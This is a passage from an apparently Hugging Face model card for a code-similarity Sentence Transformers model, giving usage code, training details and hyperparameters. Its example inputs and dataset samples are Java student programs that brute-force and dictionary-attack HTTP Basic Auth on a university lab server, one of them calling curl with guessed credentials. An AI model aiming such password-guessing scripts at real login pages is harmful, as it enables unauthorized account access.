    'import java.io.*;\nimport java.net.*;\n\npublic class BruteForce {\n  public static void main(String[] args) {\n      BruteForce brute=new BruteForce();\n      brute.start();\n\n\n     }\n\n\npublic void start() {\nchar passwd[]= new char[3];\nString password;\nString username="";\nString auth_data;\nString server_res_code;\nString required_server_res_code="200";\nint cntr=0;\n\ntry {\n\nURL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\nURLConnection conn=null;\n\n\n           for (int i=65;i<=122;i++)     {\n               if(i==91) { i=i+6; }\n               passwd[0]= (char) i;\n\n           for (int j=65;j<=122;j++)     {\n              if(j==91) { j=j+6; }\n              passwd[1]=(char) j;\n\n            for (int k=65;k<=122;k++)    {\n                if(k==91) { k=k+6; }\n                passwd[2]=(char) k;\n                password=new String(passwd);\n                password=password.trim();\n                auth_data=null;\n                auth_data=username + ":" + password;\n                auth_data=auth_data.trim();\n                auth_data=getBasicAuthData(auth_data);\n                auth_data=auth_data.trim();\n                conn=url.openConnection();\n                conn.setDoInput (true);\n                conn.setDoOutput(true);\n                conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");\n                conn.setRequestProperty ("Authorization", auth_data);\n                server_res_code=conn.getHeaderField(0);\n                server_res_code=server_res_code.substring(9,12);\n                server_res_code.trim();\n                cntr++;\n                System.out.println(cntr + " . " + "PASSWORD SEND : " + password + "  SERVER RESPONSE  : " + server_res_code);\n                if( server_res_code.compareTo(required_server_res_code)==0 )\n                {System.out.println("PASSWORD IS :  " + password + "  SERVER RESPONSE  : " + server_res_code );\n                i=j=k=123;}\n                                           }\n\n                                        }\n\n                                    }\n        }\n     catch (Exception e) {\n           System.err.print(e);\n           }\n  }\n\npublic String getBasicAuthData (String getauthdata)    {\n\nchar base64Array [] = {\n      \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n      \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n      \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n      \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n      \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n      \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n      \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n      \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\' } ;\n\n    String encodedString = "";\n    byte bytes [] = getauthdata.getBytes ();\n    int i = 0;\n    int pad = 0;\n    while (i < bytes.length) {\n      byte b1 = bytes [i++];\n      byte b2;\n      byte b3;\n      if (i >= bytes.length) {\n         b2 = 0;\n         b3 = 0;\n         pad = 2;\n         }\n      else {\n         b2 = bytes [i++];\n         if (i >= bytes.length) {\n            b3 = 0;\n            pad = 1;\n            }\n         else\n            b3 = bytes [i++];\n         }\n      byte c1 = (byte)(b1 >> 2);\n      byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n      byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n      byte c4 = (byte)(b3 & 0x3f);\n      encodedString += base64Array [c1];\n      encodedString += base64Array [c2];\n      switch (pad) {\n        case 0:\n         encodedString += base64Array [c3];\n         encodedString += base64Array [c4];\n         break;\n        case 1:\n         encodedString += base64Array [c3];\n         encodedString += "=";\n         break;\n        case 2:\n         encodedString += "==";\n         break;\n       }\n      }\n      return " " + encodedString;\n  }\n}',
    'package java.httputils;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class RunnableBruteForce extends BruteForce implements Runnable\n{\n    protected int rangeStart, rangeEnd;\n    protected boolean stop = false;\n    \n    public RunnableBruteForce()\n    {\n        super();\n    }\n\n    \n    public void run()\n    {\n        process();\n    }\n\n    public static void main(String[] args)\n    {\n    }\n    \n    public int getRangeEnd()\n    {\n        return rangeEnd;\n    }\n\n    \n    public int getRangeStart()\n    {\n        return rangeStart;\n    }\n\n    \n    public void setRangeEnd(int i)\n    {\n        rangeEnd = i;\n    }\n\n    \n    public void setRangeStart(int i)\n    {\n        rangeStart = i;\n    }\n\n    \n    public boolean isStop()\n    {\n        return stop;\n    }\n\n    \n    public void setStop(boolean b)\n    {\n        stop = b;\n    }\n\n    public void process()\n    {\n        String password = "";\n        \n        System.out.println(Thread.currentThread().getName() +\n                            "->  workload: " +\n                            this.letters[getRangeStart()] + "  " +\n                            this.letters[getRangeEnd() - 1]);\n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        for (int i = getRangeStart();\n            i < getRangeEnd();\n            i++)\n        {\n            System.out.println(Thread.currentThread().getName() +\n                    "-> Trying words beginning with: " +\n                    letters[i]);\n            for (int i2 = 0;\n                i2 < letters.length;\n                i2++)\n            {\n                for (int i3 = 0;\n                    i3 < letters.length;\n                    i3++)\n                {\n                    if (isStop())\n                    {\n                        return;\n                    }\n                    try\n                    {\n                        char [] arr = new char [] {letters[i], letters[i2], letters[i3]};\n                        String pwd = new String(arr);\n                        \n                        if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))\n                        {\n                            System.out.println(Thread.currentThread().getName() +\n                                   "-> Trying password: " +\n                                    pwd);\n                        }\n                        attempts++;\n\n                        BasicAuthHttpRequest req =\n                            new BasicAuthHttpRequest(\n                                getURL(),\n                                getUserName(),\n                                pwd);\n                        System.out.println("Got the password");\n                        setPassword(pwd);\n                        setEnd(new Timestamp(System.currentTimeMillis()));\n                        setContent(req.getContent().toString());\n\n                        \n                        this.setChanged();\n                        this.notifyObservers(this.getContent());\n                        return;\n                    }\n                    catch (MalformedURLException e)\n                    {\n                        e.printStackTrace();\n                        return;\n                    }\n                    catch (IOException e)\n                    {\n\n                    }\n                }\n            }\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Training Details

Training Dataset

Unnamed Dataset

  • Size: 33,411 training samples
  • Columns: sentence_0, sentence_1, and label
  • Approximate statistics based on the first 1000 samples:
    sentence_0 sentence_1 label
    type string string int
    details
    • min: 51 tokens
    • mean: 449.02 tokens
    • max: 512 tokens
    • min: 51 tokens
    • mean: 464.04 tokens
    • max: 512 tokens
    • 0: ~99.80%
    • 1: ~0.20%
  • Samples:
    sentence_0 sentence_1 label





    import java.io.;
    import java.net.
    ;



    public class BruteForce
    {
    public static void main(String args[]) throws IOException,
    MalformedURLException
    {
    final String username = "";
    final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";

    String temppass;
    String password = "";
    URL url = new URL(fullurl);
    boolean cracked = false;

    String c[] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O",
    "P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d",
    "e","f","g","h","i","j","k","l","m","n","o","p","q","r","s",
    "t","u","v","w","x","y","z"};

    startTime = System.currentTimeMillis();



    for(int i = 0; i < 52 && !cracked; i++) {
    temppass = c[i];
    Authenticator.setDefault(new MyAuthenticator(username, temppass));
    try{


    BufferedReader r = ...


    import java.net.;
    import java.io.
    ;

    public class SendEMail {

    public void SendEMail(){}

    public void sendMail(String recipient,String c, String subject){
    try {

    Socket s = new Socket("yallara.cs.rmit.edu.", 25);
    BufferedReader in = new BufferedReader
    (new InputStreamReader(s.getInputStream(), "8859_1"));
    BufferedWriter out = new BufferedWriter
    (new OutputStreamWriter(s.getOutputStream(), "8859_1"));

    send(in, out, "HELO theWorld");


    send(in, out, "MAIL FROM: ");
    send(in, out, "RCPT : "+recipient);
    send(in, out, "DATA");
    send(out, "Subject: "+ subject);
    send(out, "From: WatchDog.java");
    send (out, "\n");

    BufferedReader reader;
    String line;
    reader = new BufferedReader(new InputStreamReader(new FileInputStream()));
    line = reader.readLine();
    while (line != null){
    send(out, line);
    line = reader.readLine();
    }
    send...
    0
    import java.util.;
    import java.net.
    ;
    import java.io.*;

    public class Dictionary
    {
    boolean connected = false;
    int counter;

    Vector words = new Vector();

    Dictionary()
    {
    counter = 0;
    this.readWords();
    this.startAttack();
    }

    public void startAttack()
    {
    while(counter {
    connected = sendRequest();
    if(connected == true)
    {
    System.out.print("The password is: ");
    System.out.println((String)words.elementAt(counter-1));
    counter = words.size();
    }
    }
    }


    public void readWords()
    {
    String line;

    try
    {
    BufferedReader buffer = new BufferedReader(
    new FileReader("/usr/share/lib/dict/words"));

    line = buffer.readLine();

    while(line != null)
    {

    if(line.length() <= 3)
    ...































    import java.io.;
    import java.net.
    ;
    import java.net.URL;
    import java.net.URLConnection;
    import java.util.*;

    public class BruteForce {

    public static void main(String[] args) throws IOException {


    int start , end, total;
    start = System.currentTimeMillis();

    String username = "";
    String password = null;
    String host = "http://sec-crack.cs.rmit.edu./SEC/2/";



    String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    int lettersLen = letters.length();
    int passwordLen=3;

    int passwords=0;
    int twoChar=0;

    url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();



    String authenticate = "";
    String realm = null, domain = null, hostname = null;
    header = null;


    int responseCode;
    String responseMsg;


    int temp1=0;
    int temp2=0;
    int temp3=0;





    for (int a=...
    0




    public class SMTPException extends Exception {

    private String msg;

    public SMTPException(String message) {
    msg = message;
    }


    public String getMessage() {
    return msg;
    }
    }


    import java.net.;
    import java.io.
    ;

    import java.;
    import java.util.
    ;

    public class Dictionary {

    private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
    private String password;
    private String previous;
    private String url;
    private int startTime;
    private int endTime;
    private int totalTime;
    private float averageTime;
    private boolean finish;
    private Process curl;
    private BufferedReader bf, responseLine;

    public Dictionary() {

    first();
    finish = true;
    previous = "";
    Runtime run = Runtime.getRuntime();
    startTime =new Date().getTime();
    int i=0;
    try {
    try {
    bf = new BufferedReader(new FileReader("words"));
    }
    catch(FileNotFoundException notFound) {
    bf = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
    }

    while((password = bf.readLine()) != null) {
    if(password....
    0
  • Loss: BatchAllTripletLoss

Training Hyperparameters

Non-Default Hyperparameters

  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • num_train_epochs: 1
  • fp16: True
  • multi_dataset_batch_sampler: round_robin

All Hyperparameters

Click to expand
  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.0
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: True
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: batch_sampler
  • multi_dataset_batch_sampler: round_robin

Training Logs

Epoch Step Training Loss
0.2393 500 0.2443
0.4787 1000 0.2228
0.7180 1500 0.2148
0.9574 2000 0.1666

Framework Versions

  • Python: 3.11.13
  • Sentence Transformers: 4.1.0
  • Transformers: 4.52.4
  • PyTorch: 2.6.0+cu124
  • Accelerate: 1.7.0
  • Datasets: 3.6.0
  • Tokenizers: 0.21.1

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}